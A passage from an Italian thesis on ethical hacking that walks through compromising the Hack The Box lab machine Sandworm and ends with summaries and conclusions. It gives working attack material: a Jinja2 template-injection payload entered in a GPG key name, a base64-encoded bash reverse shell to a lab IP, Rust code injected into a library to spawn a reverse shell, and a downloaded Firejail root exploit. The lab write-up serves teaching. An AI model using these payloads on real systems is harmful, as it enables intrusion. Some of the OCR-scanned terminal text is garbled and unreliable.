5.2 Vulnerability Analysis

Una volta raccolte tutte le informazioni utili nella fase di Information Gathering, tramite il
comando gpg —gen-key, si generano una nuova coppia di chiavi crittografiche utilizzando
il programma GnuPG (GNU Privacy Guard), strumento per la crittografia e la firma digitale,
illustrato nella Sezione 2.5.3.

Si scopre che il campo Nome e Cognome e vulnerabile a SSTI (Server Side Template
Injection), una vulnerabilita di sicurezza che si verifica quando un’applicazione web permette
agli utenti di inserire del codice per il rendering di template lato server.

Come mostrato in Figura 5.8, per sfruttare la vulnerabilita, si inserisce il payload "7+ 7"
nel campo "Nome e Cognome".

~/Documenti/sandworm

ori po Lita

un mucchio di by

gp-revoc

Figura 5.8: Generazione della chiave pubblica

Se e vulnerabile, come risultato si visualizzera nello schermo l'output "49".
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Successivamente si da il comando gpg —1list—keys per visualizzare la lista di tutte le
chiavi generate (Figura 5.9).

~/Documenti/sandworm

completes n e g
1 firmat D & @n, @m, @f

1u

Figura 5.9: Lista di chiavi generate

A questo punto, esportiamo la chiave pubblica nel file denominato public_key.asc
con il seguente comando per la crittografia: gpg —armor -export test@test.com >
public_key.asc. In particolare:

* gpg € un comando per interagire con GnuPG, un’applicazione utilizzata per crittogra-
faree decrittografare dati, generare e gestire chiavi crittograﬁche.

* —armor € un comando che indica a GPG di generare I'output in un formato "armored",
ovvero in un formato testuale ASCII invece che binario.

* —ecxport test@test.come un comando che indica a GPG di esportare la chiave
pubblica associata all’indirizzo email test@test.com.

* > public_key.asceuncomando che redirige I'output dell’esportazione della chiave
pubblica nel file denominato public_key.asc.

Quindi dobbiamo generare la nostra chiave firmata per crittografare il nostro messaggio,
che inseriremo nel campo di input come Signed Text, grazie ai comandi echo “Test” >
message.txt egpg —clear—-sign —output signed message.asc message.txt.

Analizzando il primo comando avremo che:

® echo e un comando che stampa (visualizza) il suo argomento sullo schermo (di solito
nel terminale). In questo caso, I'argomento ¢ la stringa Test.

* "Test" & una stringa che viene passata al comando "echo" per essere visualizzata o
elaborata.

* > ¢ un operatore di redirezione che viene utilizzato per indirizzare I'output del comando
precedente verso un file. Nel contesto di questo comando, indica che l'output del
comando "echo" (cioe la stringa Test) verra scritto nel file message . txt.

* message.txt & il nome del file in cui verra scritta la stringa Test proveniente dal
comando echo.

Riguardo I'analisi del secondo comando, invece, avremo che:

* gpg € un comando per interagire con GnuPG, un’applicazione utilizzata per crittogra-
faree decrittografare dati, generare e gestire chiavi crittograﬁche.

* —clear-sign e un comando che indica a GPG di creare una firma digitale chiara
per il file specificato. Una firma digitale chiara e una firma crittografica che viene
allegata al testo originale in modo che il testo sia ancora leggibile senza la necessita di
decrittografarlo, ma con la garanzia dell’autenticita e dell’integrita del contenuto.
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* —output signed_message.asc & un comando che specifica il nome del file in cui
verra salvata la firma digitale chiara ossia nel file chiamato signed_message.asc.

* message.txt e il nome del file che verra firmato digitalmente.

Cio che e stato descritto finora, puo essere visionato nelle Figure 5.10, 5.11 e 5.12.

~/Documenti/sandworm]

testdtest.com > public_key.asc

Figura 5.10: Esecuzione del comando gpg —-armor -export

[~/Documenti/sandworm ]
"Test" message.txt

Figura 5.11: Esecuzione del comando echo “Test” > message.txt

~/Documenti/sandworm
signed_message.asc message.txt

Figura 5.12: Esecuzione del comando gpg -clear-sign —output signed_message.asc
message.txt

Nella Figura 5.13, tramite il comando cat public_key.asc, sivisualizza il contenuto
del file public_key. asc, ossia la chiave pubblica generata.
~/Documenti/sandworm

publ
BEGIN P

Figura 5.13: Visualizzazione del contenuto del file public key.asc

Nella Figura 5.14, tramite il comando cat signed_message.asc, si visualizza il
contenuto del file signed _message.asc, ossia il testo firmato generato.
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~/Documenti/sandworm

Figura 5.14: Visualizzazione del contenuto del file signed message.asc

Dopo essere tornati sul sito ssa.htb/guide ed aver inserito, nei campi appropriati,
la Public Key e il Signed Test appena generati, premendo su ”Venfy Signature", si trova
l’output presente in Figura 5.15. In particolare nel risultato, come si desiderava, si riscontra
49 [unknown].

Signature Verification Result

Signature is valid! [GNUPG:] NEWSIG gpg: Signature made Mon
28 Aug 2023 02:41:09 PM UTC gpg: using RSA key
793069A6BB286364268FF3AB15D8908A369C61CF [GNUPG:]
KEY_CONSIDERED
793069A6BB286364268FF3AB15D8908A369C61CF 0 [GNUPG:]
SIG_ID s6ZwWuSIFThGspb/FVEUe1PuElk 2023-08-28 1693233669
[GNUPG:] KEY_CONSIDERED
793069A6BB286364268FF3AB15D8908A369C61CF 0 [GNUPG:]
GOODSIG 15DB908A369C61CF 49 gpg:k.ood signature from "49 I
[GNUDG:] VALIDSIG
793069A6BB286364268FF3AB15D8908A369C61CF 2023-08-28
1693233669 04 0110 01
793069A6BB286364268FF3AB15D8908A369C61CF [GNUPG:]
TRUST_UNDEFINED O pgp gpg: WARNING: This key is not
certified with a trusted signature! gpg: There is no indication that

the signature belongs to the owner. Primary key fingerprint: 7930
69A6 BB28 6364 268F F3AB 15D8 908A 369C 61CF

Figura 5.15: Risultato del “Verify Signature"

Si riscontra che si tratta di Jinja2 Template Engine, che & un motore di template lato server
scritto in Python. Esso € ampiamente utilizzato per la generazione dinamica di contenuti
HTML, XML, JSON e altri formati di dati in applicazioni web e software. Di conseguenza, si e
scoperta una nuova vulnerabilita sfruttabile.

A questo punto, si eliminano le public key e le secret key relative alla mail di prova
test@test.com tramite i seguenti comandi: gpg —delete-secret-keys test@test
.come gpg —-delete-keys test@test.

COom.
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5.3 [Exploitation

Grazie alle informazioni reperite nella fase di Vulnerability Analysis, si generano nuova-
mente le chiavi pubbliche ma questa volta il payload sara diverso. Eseguendo il comando gpg
—gen—key, nel campo Nome e cognome siinserisce il payload seguente:

self._ init_ . _globals . builtins_ ._ import_ (‘os’) .popen(‘id’).read().

Quest’ultimo & un frammento di codice che & correlato all’esecuzione di codice Python
con l'intento di eseguire un’operazione all’interno dell’interprete Python stesso e rappresenta
un tentativo di utilizzare un’exploit di "Server Side Template Injection".

Invece, nel campo Indirizzo di Email inseriamo sempre test@test.com.

Cio e osservabile nella Figura 5.16.

~/Documenti/sandworm

te per identificare la chiave.

.__import_ (

s builtins . -import ..

C)ommento, (E)mail oppure

Figura 5.16: Generazione delle chiavi con il payload per l'exploit

Si ripetono i passaggi precedenti per generare la chiave pubblica e il testo firmato, visibili
nelle Figure 5.17 e 5.18.

[ ~/Documenti/sandworm |
g testgtest.com public_key.asc

[ ~/Documenti/sandworm
message.txt

Figura 5.17: Generazione della Public Key

~/Documenti/sandworm
put signed_message.asc message.txt

'signed_message.asc' esiste. Sovrascrivere? (y/N) y

Figura 5.18: Generazione del Signed Text

Nelle Figure 5.19 e 5.20, eseguendo i rispettivi comandi cat public_key.asce cat
signed_message.asc, si possono osservare la nuova chiave pubblica e il nuovo Signed
Text generati.
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~/Documenti/sandworm
public_key.asc
EGIN PGP PUBLIC KEY BLOC

NyZ51

RNLF?AufMHHDWHhT LTifTINNg
SeKgYNPh9ZRmTpaEPwof3iu02masSl
=mVer
END PGP PUBLIC KEY BLOC

Figura 5.19: Visualizzazione della Public Key

~/Documenti/sandworm
signed_message.asc
;IN PGP SIGNED MESSAGE——
Hash: SHA512

“Test”
BEGIN PGP SIGNATURE——

fMn2zJQQum
EnMUdllaV’

L%qualu
OxPplt9GfriJligOM
2 RYp7zJTEMLQ

END PGP SIGNATURE

Figura 5.20: Visualizzazione del Signed Text

Tornando sul sito ssa.htb/guide, dopo aver inserito nei campi appropriati la Public
Key e il Signed Test appena generati, premendo su Verify Signature”, si trova I’'UID dell"utente
atlas (Figura 5.21).
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Signature Verification Result

Signature is valid! [GNUPG:] NEWSIG gpg: Signature made Mon
03 Jul 2023 05:09:40 AM UTC gpg: using RSA key
D80BS5FBE28338925CEQEB8787472F749A887411 [GNUPG:]
KEY_CONSIDERED
D80B55FBE28338925CEOEBB787472F749A887411 0 [GNUPG:]
SIG_ID UGNSLNSW4MrCNt+1MgqlLBg/DpVU 2023-07-03
1688360980 [GNUPG:] KEY_CONSIDERED
D80B55FBE28338925CEOEB8787472F749A887411 0 [GNUPG:
GOODSIG 87472F749A887411 uid=1000(atlas) gid=1000(atlas)
groups=1000(atlas) gpg: Good signature from
gid=1000(atlas) groups=1000(atlas) " [unknown] [GNUPG:]
VALIDSIG D8OB55FBE28338925CEOEB8787472F749A887411
2023-07-03168836098004 011001
D80B55FBE28338925CEOEBS8787472F749A887411 [GNUPG:]
TRUST_UNDEFINED 0 pgp gpg: WARNING: This key is not
certified with a trusted signature! gpg: There is no indication that
the signature belongs to the owner. Primary key fingerprint:
D80B 55FB E283 3892 5CEO EBB7 8747 2F74 9A88 7411

Figura 5.21: Individuazione dell’'UID dell'utente atlas

A questo punto si genera una nuova chiave sempre utilizzando il comando gpg —gen
—key, e nel campo Nome e Cognome, si sostituisce il comando id con un comando Reverse
Shell come osservabile in Figura 5.22.

~/Documenti/sandworm

> free to change distribute it.
t permit

" per una finestra di dia

ificare la chiave.

Figura 5.22: Individuazione dell’errore nel payload

Il comando precedente genera un errore in quanto non supporta i caratteri "<>".
Di conseguenza, lo si codifica in base64, tramite il comando echo “bash -c¢ ‘bash -
i >& /dev/tcp/10.10.14.178/4444 0>&1' " | baseb4d (Figura 5.23).

~/Documenti/sandworm

Figura 5.23: Codifica del payload in base64

Una volta convertito cid in base64, inseriamo il tutto nel file she11 tramite l'editor di testo
nano e poi, in Figura 5.24, visualizziamo il contenuto.
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~/Documenti/sandworm

~/Documenti/sandworm

Figura 5.24: Visualizzazione del contenuto dell’editor di testo

Si rigenera la chiave pubblica tramite il solito comando gpg —gen-key, inserendo il
payload evidenziato nel rettangolo rosso in Figura 5.25.

’ I
Indirizzo di Lmall, ta) t
Si sta utilizzando il set di caratteri 'utf-
Hai selezionato questo User Id:
“{{self.__init__._ globals builtins
mFz arnTYyHn\mF‘arnra;q+
| bash’'

Figura 5.25: Generazione Public Key

Si ripetono i soliti passaggi per generare la nuova Public Key e il nuovo Signed Text e li si
visualizzano nello schermo come mostrato nelle Figure 5.26 e 5.27.

~/Documenti/sandworm
public_key.asc
BEGIN PGP PUBLIC KEY BLOCK

kq3GhGpEgAmBwfhRz5Qs
'5+Hu0meb1Jp428”D U

HqJ’OkglOtb'Qac XiR85KInisS
HS1TuWyMF gf2uqd

PrwlG5Zz Ll' QHU5HHJ’LkBj LlDHﬂWA‘nabu.NQVWTthDE1kE'nu1d'
yactnyilt2UmBFpCEIznlyjz8 jd/9j1U62xKIBcgelHIJkxIWi2qz f5huuu+

+yOkbfs9DIIVIMv43ZK 300 Ge/QAM7 Zoho9eQ+5ZUG

.JﬁFb+QCELWLEbFKUH <

bzgl1Am61XMzZ11WWelpOUZgHL/
dVGpnthIg159NcTwhw52n

'SIE;qu 3bFy

OFNldEBleqvbau* Quts je CRxZcv1IAFABEBAAG
ORkxd> AHIOmUYHx 9QwIbDAUJAS INAAAK

Blm1557rlq2C+c100@a01l JhmoOnhMo940n ] “IP3UHAp

ELkWbQbTjGagEFtLnBEdL jKLl4aDX+Ugral

7E+SWemYV *'ij”lEKf CIVNKD

1F5,E.
2FGg+fN1Qeg]
3XW+cr2qtePLaZ

Figura 5.26: Visualizzazione delle Public Key
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~/Documenti/sandworm

signed_
BEGIN PGP

AEGIN PGP SIGNA

END PGP

Figura 5.27: Visualizzazione del Signed Text

Inserendo le chiavi generate negli appositi campi del sito web relativo al dominio https:
//ssa.htb/guide, otteniamo la Reverse Shell grazie al tool Netcat, in modalita ascolto
sulla porta 4444, autenticato come user Atlas (Figura 5.28).

~/Documenti/sandworm

t found

Figura 5.28: Esecuzione del comando Netcat

Ci si dirige nella directory /home/atlas e si visualizzano le cartelle contenute in questa
directory, entrando in .config. A questo punto, si controllano i file presenti nelle varie
cartelle, entrando in esse una per volta (Figura 5.29).

orm:~$ cd .config

.config$ 1s -la

.config/httpie$ 1

1~/ .confi tpie$ cd

ons: No such file or directory
.config/httpie$ cd sessions

/httpie/ ions$ 1

ig/httpie/sessions$ cd localhost_5000/

/localhost_5000% 1

admin. json

Figura 5.29: Esplorazione del file in . config

Nella directory /.config/httpie/sessions/localhost_5000 sie individuato il
file admin. json che contiene Username e Password dell’'utente silentobserver, come
si puo osservare nella sezione evidenziata in rosso nella Figura 5.30.


https://ssa.htb/guide
https://ssa.htb/guide
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b cat admin.json

"quietlLike

"silento

Figura 5.30: Username e Password dell'utente silentobserver

In un’altra finestra del terminale si crea una sessione SSH (Secure Sheel), descritta nel-
la Sezione 2.4.2, attraverso il comando ssh silentobserver@ssa.htb, utilizzando lo
Username e la Password appena reperite (Figura 5.31).

~/Documenti/sandworm

fingerprint])

to the list of known hos

Figura 5.31: Accesso alla Shell utente

Si nota il file denominato user.txt e se ne visualizza il contenuto, scoprendo la User
Flag (Figura 5.32).

silentobserver@sandworm:~% 1s
user.txt

silentobservergsandworm:~$ cat user.txt
d8a7bb55cd526714d@0b131a1827c1a3

Figura 5.32: Scoperta della User Flag

5.4 Post-Exploitation

Una volta ottenuto l'accesso alla Shell User, e il momento di realizzare la Vertical Privilege
Escalation per ottenere la Shell Root.

A questo scopo si controllano i file presenti nelle varie cartelle dell'utente silentobserv
er. Nella directory opt /tipnet/target/debug si trova il file t ipnet . d. Visualizzando
il contenuto di questo file, si trovano 2 file con estensione . rs, come si vede in Figura 5.33.
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ndworm:~% cd /opt/tipnet/target/debug
ndworm: $ 1s
tipnet tipnet.d

$ cat t
lib.rs /opt/tipnet

Figura 5.33: File presenti nella Shell User

Col comando nano /opt/crates/logger/src/lib.rs modifichiamo il contenuto
del file 1ib. rs aggiungendo le seguenti righe di codice (Figura 5.34):

use std::process::Command;
let output = Command::new ("bash")
.arg("-c")
.arg("bash -i >& /dev/tcp/10.10.14.102/4444 0>&1")
.output ()
.expect (“failed to execute process”);

In questo modo si utilizza la libreria standard di Rust per eseguire un processo Bash. La
sequenza di comandi Bash specificata cerca di stabilire una connessione di Reverse Shell al
server all'indirizzo IP 10.10.14.102 sulla porta 4444.

Jopt/crates/logger/src/lib.rs *

GNU nano 6.2

stification: Gstr) {

Figura 5.34: Contenuto del file 1ib.rs

Successivamente si salva e si chiude questo file.

Si apre nuovamente una connessione Netcat in ascolto alla porta 4444 ed eseguendo il file
1ib. rs appena modificato, tramite il comando . /1ib.rs /opt/crates/logger/src/
1lib.rs, si otterra una Reverse Shell essendo autenticati come At 1as (Figure 5.35 e 5.36).

66
priate ioctl for device

Figura 5.36: Avvio della Reverse Shell in ascolto sulla porta 4444
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Nella Figura 5.37 si recupera 'id dell'utente At 1as e tramite il comando find / —perm
—-4000 —user root 2>/dev/null sicercano tuttii file nel sistema con l'attributo setuid
abilitato e che sono di proprieta dell’utente root.

Ecco cosa fanno le parti del comando:

e find: cerca filee directory all’interno del sistema.

/:indica che la ricerca deve partire dalla directory radice del file system.

* —perm -4000: specifica il criterio di ricerca basato sui permessi. —~4000 indica che i
file con l'attributo setuid abilitato saranno inclusi nella ricerca. L'attributo setuid
consente a un eseguibile di essere eseguito con i privilegi dell’utente proprietario,
anziché con i privilegi dell'utente che sta effettuando I’esecuzione. Cid pud portare a
possibili vulnerabilita di sicurezza se non gestito correttamente.

* —user root:opzione che speciﬁca che i file cercati devono essere di proprieta dell’u-
tente "root".

® 2>/dev/null: comando che redirige gli errori verso /dev/null, che & un "null devi-
ce" che scarta qualsiasi cosa venga inviata. Quindi, eventuali messaggi di errore generati
durante la ricerca non saranno visualizzati.

Figura 5.37: Ricerca dei file con attributo setuid

Poniamo l'attenzione su /usr/local/bin/firejail dell’'output appena ottenuto:
Firejail e un’utility di sandboxing per Linux che aiuta a isolare processi e applicazioni per
ridurre il rischio di attacchi informatici. Si cerca sul motore di ricerca “firejail exploit” e si
scarica il file di exploit presente nel seguente sito https://gist.github.com/GugSaas/
9fb3e59b3226e8073b3f8692859£8d25 e lo si salva nel path /Scrivania.

Di seguito si apre la connessione ad un server web, attraverso I'interprete Python, in ascol-
to nella porta 8000 (Figura 5.38) e si effettua I'importazione del precedente file per mezzo della
Shell utente (Figura 5.39), tramite il comando wget http://10.10.14.102:8000/expl
oit.py.

~/Scrivania
http.server 3000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Figura 5.38: Avvio del server web in ascolto sulla porta 8000


https://gist.github.com/GugSaas/9fb3e59b3226e8073b3f8692859f8d25
https://gist.github.com/GugSaas/9fb3e59b3226e8073b3f8692859f8d25
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100% 16.4M=0s
08-29 15:43:45 (16.4 ) 954 ]

sandworm:~$ 1s

Figura 5.39: Importazione del file di exploit

Successivamente ci si dirige in /tmp in cui si trova il file exploit.py e, si digita il co-
mando python3 -c "import pty;pty.spawn(’/bin/bash’)", che rappresenta un
tentativo di migliorare I'interazione con una shell di sistema quando si utilizza un terminale
pseudo-TTY (PTY). Successivamente si rende eseguibile il file exploit .py attraverso il
comando chmod +x exploit.py e siesegue il suddetto file.

Come risultato si avra la sezione evidenziata in rosso nella Figura 5.40.

firejail £ 04 in er in a ell ! su -" should grant you a root

Figura 5.40: Risultato dell’esecuzione del file exploit.py

Aprendo una seconda shell e stabilendo una seconda connessione Netcat in ascolto alla
porta 4444, si digita il comando risultante dall’exploit, ossia firejail —join=504704.

Il comando firejail —-join=504704 ¢ utilizzato per collegarsi a un processo esistente
all’interno dell’ambiente di isolamento, creato da Firejail. L'opzione —join in Firejail viene
utilizzata per collegarsi a un processo esistente all'interno di un sandbox gia avviato, mentre
il numero dopo —join e I'id del processo a cui si desidera unirsi.

In questo caso, firejail -join=504704 sta cercando di unirsi a un processo specifico
con ID 504704 all'interno dell’ambiente di sandboxing di Firejail. Il comando su - in Linux
e utilizzato per cambiare utente e accedere a un altro account, in questo contesto 1"utente root,
come si puo vedere dal risultato del comando id in Figura 5.41.

Successivamente, si digita il comando python3 —-c "import pty;pty.spawn(’/b
in/bash’) ", tra le cui doppie virgolette, viene eseguito il seguente codice Python:

* import pty:istruzione che importa il modulo pty, che sta per pseudo-terminal handling
il quale consente di manipolare terminali virtuali all’interno di uno script Python.

* pty.spawn(’ /bin/bash’): istruzione che utilizza il modulo pty per eseguire un
shell interattiva /bin/bash all’interno del terminale corrente.

Inoltre, si nota che si e autenticati come utente root (Figura 5.41).
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atlas@sandworm: /opt/tipnet$ firejail --join=504704
firejail --join=504704

Warning: cleaning all supplementary groups
changing root to /proc/5047@4/root

Child process initialized in 22.87 ms

su -
id

uid=e(root) gid=0(root) groups=0(root)

python3 -c 'import pty; pty.spawn("/bin/bash")’
root@sandworm:~# |

Figura 5.41: Ottenimento della Shell Root

Si visualizza la lista dei file presenti nella Shell Root e, nello speciﬁco, tramite il comando
cat root.txt, si esamina il contenuto del file root . txt, scoprendo la Root Flag (Figura

5.42).

root@sandworm:~# 1s

1s

Cleanup domain.crt domain.csr domain.key root.txt
rootgsandworm:~# cat root.txt

cat root.txt
60a67c0lacOcc62215bse7cflcl8eb6a
rootg@sandworm: ~# I

Figura 5.42: Ottenimento della Root Flag



CAPITOLO O

Discussione in merito al lavoro svolto

Nel corso di questo capitolo esploreremo in modo riassuntivo i penetration test svolti sulle macchine
virtuali nei rispettivi Capitoli 3, 4 e 5, descrivendo i punti salienti e i tratti caratteristici di ogni macchina
bersaglio.

6.1 Premessa

I penetration test hanno fornito importanti informazioni sulla sicurezza dei sistemi bersa-
glio e hanno consentito di identificare e mitigare le vulnerabilita rilevate. Questo processo e
essenziale per migliorare la sicurezza di un sistema e proteggere i dati e le risorse da poten-
ziali minacce informatiche. Inoltre, offre I'opportunita di apprendere e raffinare le abilita di
sicurezza informatica attraverso 1'esperienza pratica.

Le macchine trattate sono relative a scenari differenti ma con un denominatore comune
ossia, come gia visto, si basano sul sistema operativo Linux. Esse sono state affrontate con un
ordine di difficolta crescente, cioe partendo dalla meno insidiosa fino ad arrivare a quella piti
complessa e dettagliata.

6.2 Penetration Test sulla macchina Pilgrimage

Il penetration test affrontato nel Capitolo 3 & stata un’operazione di sicurezza informatica
mirata a valutare la robustezza e la sicurezza di una macchina Linux ospitata sulla piattaforma
Hack The Box. Il nome in codice "Pilgrimage" rappresenta il sistema target dell’attacco, che
¢ stato sottoposto a una serie di test e analisi da parte di un team di professionisti della
sicurezza informatica.

I pentest e stato condotto seguendo una metodologia ben strutturata, che includeva la
fase di raccolta di informazioni, scansione di porte, identificazione di servizi, vulnerabilita
e test di penetrazione effettivi. Durante la fase di raccolta di informazioni, abbiamo cercato
di raccogliere dati sul sistema, come indirizzi IP, nomi host, e informazioni sul software in
esecuzione.

Successivamente, abbiamo effettuato una scansione delle porte per identificare quelle
aperte e i servizi in ascolto sulla macchina. Questo ci ha permesso di determinare quali punti
di accesso sfruttare in un attacco.
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Una volta individuate le porte aperte e i servizi in esecuzione, ¢ stata condotta un’analisi
delle vulnerabilita per identificare eventuali debolezze nel sistema. Questo includeva la
ricerca di noti CVE (Common Vulnerabilities and Exposures) e altre vulnerabilita conosciute.

Infine, & stato effettuato il test di penetrazione effettivo, che ha coinvolto il tentativo di
sfruttare le vulnerabilita identificate per ottenere I"accesso non autorizzato alla macchina
Pilgrimage. Successivamente abbiamo cercato di eseguire comandi non autorizzati, ottenere
privilegi amministrativi e ottenere 1"accesso sia alla Shell Utente che alla Shell Root.

Le lezioni apprese nel contesto di questo penetration test riguardano la ricerca di vulnera-
bilita in riferimento a siti che offrono la possibilita di comprimere immagini caricate dagli
utenti stessi. Infatti, cercando la CVE e caricandola sul sito corrispondente alla macchina
Pilgrimage, si e effettuato un exploit al fine di ottenere 'accesso alla Shell Utente per poi
proseguire, attraverso la Privilege Escalation, all’ottenimento del controllo della Shell Root.

6.3 Penetration Test sulla macchina Topology

Nel Capitolo 4 abbiamo affrontato un penetration test volto a valutare la sicurezza di una
macchina Linux ospitata sulla piattaforma Hack The Box. Questa missione prende il nome in
codice di Topology. Durante questa operazione, ci siamo immersi in un’analisi approfondita
e dettagliata della macchina, esaminando i punti di forzaele possibili debolezze del sistema.

Vediamo i punti salienti del suddetto penetration test:

e Fase di Preparazione: prima di iniziare il pentest, si & stabilito un piano di test dettagliato,
ottenendo informazioni preliminari sulla macchina Topology. Cio ha incluso la raccolta
di informazioni su IP, servizi aperti, sistema operativo e conﬁgurazioni.

* Ricognizione e Scansione: si € condotta una scansione dei servizi e delle porte aperte
sulla macchina per identificare possibili punti d'ingresso. In questa fase, si sono cercate
vulnerabilitd comuni e informazioni sul sistema.

e FEnumerazione: una volta identificate le porte aperte e i servizi in esecuzione, abbiamo
cercato di ottenere ulteriori informazioni sul sistema, come nomi utente, gruppi, servizi
in esecuzione e autorizzazioni, tramite il software Nmap.

* Sfruttamento: in questa fase, si & cercato di sfruttare le vulnerabilita identificate per
ottenere I"accesso non autorizzato alla macchina Topology. Si & sfruttato I'uso di exploit
e attacchi di forza bruta, ad esempio LateX Injection.

* Documentazione: durante tutto il processo si &€ documentato attentamente ogni passaggio,
inclusi i risultati delle scansioni, le vulnerabilita identificate e le misure adottate per
ottenere 1’accesso.

Le lezioni apprese nel contesto di questo penetration test riguardano la ricerca di vulne-
rabilita in riferimento a siti che offrono la possibilita di creare file con estensione . png di
equazioni LaTeX direttamente nel browser. Infatti, si & cercato, nel motore di ricerca, comandi
LateX per effettuare una LaTeX Injection, ossia un attacco informatico che sfrutta debolezze di
parsing del linguaggio LaTeX. Caricando il comando corrispondente alla LaTeX Injection sul
sito corrispondente alla macchina Topology, si e effettuato un exploit al fine di ottenere l'ac-
cesso alla Shell Utente per poi proseguire, attraverso la Privilege Escalation, all’ottenimento
del controllo della Shell Root.
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6.4 Penetration Test sulla macchina Sandworm

La macchina virtuale, offerta da Hack The Box e soggetto del terzo penetration test
discusso nel Capitolo 5, rappresenta uno dei massimi livelli di difficolta nell’ambito del
penetration testing su sistemi Linux.

In questo contesto, abbiamo avuto 'opportunita di sondare le profondita di un sistema
operativo Linux altamente configurato e protetto. Sandworm & concepito per essere un labirin-
to intricato di vulnerabilita, exploit e sfide che richiedono una conoscenza approfondita delle
tecnologie Linux, delle buone pratiche di sicurezza e delle tecniche avanzate di penetration
testing.

In questa avventura, gli obiettivi sono stati molteplici: dalla fase di ricognizione iniziale, in
cui sono state raccolte informazioni critiche, alla scoperta e allo sfruttamento di vulnerabilita
sofisticate al fine di ottenere I’accesso alla Shell Utente e alla Shell Root.

Le lezioni apprese nel contesto di questo penetration test riguardano la ricerca di vulne-
rabilita in riferimento a siti che offrono istruzioni su come utilizzare la crittografia PGP per
firmare e verificare messaggi, enfatizzando I’ importanza della sicurezza e della privacy nelle
comunicazioni online. Nel corso della fase di exploitation, & stato messo in pratica il software
GnuPG, imparandone le principali funzionalita tra cui la generazione di coppie di chiavi
crittograﬁche, una chiave pubblica e una chiave privata, per gli utenti. La chiave pubblica
puo essere condivisa con altri per cifrare messaggi o verificare firme, mentre la chiave privata
deve essere mantenuta segreta e viene utilizzata per decifrare messaggi o firmare documenti.



Conclusioni

Nel corso della trattazione, e stato possibile toccare con mano tutte le varie sfumature che
vi sono attorno al concetto di ethical hacking: dalla definizione della figura e degli impieghi
dell’hacker etico ai cenni storici, partendo dagli albori degli hacker inglesi a Cambridge,
passando allo sviluppo e alla diffusione del fenomeno di "hakkaggio". La discussione & pro-
seguita per i concetti chiave dell’ethical hacking, tra cui ricordiamo le fasi principali di un
penetration test (Vulnerability Analysis e Exploit), la differenza tra Black, Gray e White
Hacker e I'impiego nel sociale, in cui si sottolineano temi come privacy e protezione dei dati
personali, ingegneria sociale, sicurezza delle applicazioni social, disclosure responsible, per
finire con il rilevamento e i metodi di prevenzione dei deepfake.

Prima di arrivare ai capitoli riguardanti gli effettivi penetration test, sono state discusse le
tecnologie coinvolte in questi ultimi, in modo tale da offrire una spiegazione della strategia di
attacco chiara e sensata. In particolare, si & descritto I'ambiente nel quale sono stati condotti
i penetration test, ossia Kali Linux. Questo sistema operativo e preferito per i penetration
test in quanto offre un ambiente preconfigurato e una vasta gamma di strumenti per attuare
penetration test.

Oltre a Kali Linux, i penetration test sono stati messi in atto grazie all’utilizzo della
piattaforma web Hack The Box, che fornisce un ambiente controllato e simulato in cui si
possono eseguire test in un contesto realistico e legale.

Di seguito a queste piattaforme, sono stati illustrati dei software coinvolti nei penetration
test. Questi rappresentano un insieme essenziale di strumenti utilizzati dai professionisti della
sicurezza informatica per condurre penetration test, identificare vulnerabilita e migliorare
la sicurezza dei sistemi. Ogni strumento ha il suo ruolo specifico all'interno del processo di
penetration test e contribuisce all’obiettivo generale di valutare e migliorare la sicurezza delle
risorse digitali. Tra i software descritti ricordiamo Nmap, Gobuster, Netcat, Secure Shell (SSH),
Searchsploit, John The Ripper e GnuPG.

A questo punto della trattazione, sono presenti tre capitoli dedicati ai rispettivi penetration
test, ciascuno seguendo la struttura tipica di un penetration test standard, che prevede i
seguenti passi:

1. Information Gathering;
2. Vulnerability Analysis;
3. Exploitation;

4. Post-Exploitation.
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A conclusione di questa tesi, vale la pena analizzare i possibili sviluppi futuri. Prima di
tutto, & importante sottolineare che ’ethical hacking svolge un ruolo cruciale nella prote-
zione delle informazioni e della privacy in un mondo sempre piu digitalizzato. Le minacce
informatiche si evolvono costantemente, e pertanto, anche gli approcci alla sicurezza devono
rimanere aggiornati.

Una direzione promettente per lo sviluppo futuro riguarda 1’analisi della sicurezza dei
servizi cloud e delle applicazioni web. Con sempre pit1 aziende che si affidano ai servizi cloud
per archiviare e gestire dati sensibili, diventa essenziale valutare e migliorare la sicurezza di
tali servizi. Infatti, nel mondo digitale odierno, le aziende si trovano di fronte a sfide sempre
crescenti per quanto riguarda la sicurezza delle informazioni e la protezione dei dati sensibili.
La quantita di dati che vengono elaborati e archiviati & in costante aumento; questa crescente
mole di informazioni rappresenta un obiettivo allettante per gli attaccanti informatici.

In questo contesto, I'ethical hacking assume un ruolo fondamentale per aiutare le aziende
a identificare e mitigare le vulnerabilita nei loro sistemi, reti e applicazioni. Gli ethical hacker
lavorano in stretta collaborazione con le aziende per condurre test di penetrazione realistici,
simulando attacchi informatici che potrebbero essere utilizzati da malintenzionati. L’obiettivo
principale dell’ethical hacking e scoprire e documentare le vulnerabilita, consentendo alle
aziende di prendere misure preventive prima che gli attaccanti possano sfruttarle. Questo
approccio proattivo e cruciale per evitare costose violazioni dei dati e danni all'immagine
aziendale.

La collaborazione tra le aziende e gli ethical hacker e basata sulla fiducia e sulla trasparen-
za. Le aziende forniscono accesso ai propri sistemi e reti, consentendo agli ethical hacker di
eseguire test di penetrazione in un ambiente controllato. Questa collaborazione permette alle
aziende di ottenere una valutazione accurata della loro postazione difensiva e di identificare
aree di miglioramento.

Senza dubbio, il legame tra le aziende e gli ethical hacker ¢ fondamentale per garantire
la sicurezza informatica; tuttavia, € importante riconoscere che molte aziende al giorno
d’oggi sottovalutano ancora l'importanza della protezione dei dati e, spesso, evitano di
investire in questa area critica, considerandola come una spesa accessoria piuttosto che come
un investimento essenziale. Una delle ragioni di questa sottovalutazione potrebbe essere
la mancanza di consapevolezza riguardo alle reali minacce e agli impatti delle violazioni
dei dati. Alcune aziende potrebbero ritenere che non saranno mai bersagliate da attacchi
informatici o che i loro dati non siano abbastanza interessanti per gli hacker. Tuttavia, questa
€ una visione ingenua della realta digitale odierna. Gli attaccanti informatici mirano spesso
alle aziende di piccole e medie dimensioni proprio perché queste potrebbero avere misure di
sicurezza meno solide rispetto alle grandi imprese.

Per concludere, la collaborazione tra aziende ed ethical hacker & essenziale per la prote-
zione dei dati e la sicurezza informatica e, per questo, e cruciale che le aziende riconoscano
I'importanza di investire in sicurezza informatica e comprendano che la protezione dei dati &
un requisito indispensabile nel mondo digitale odierno.
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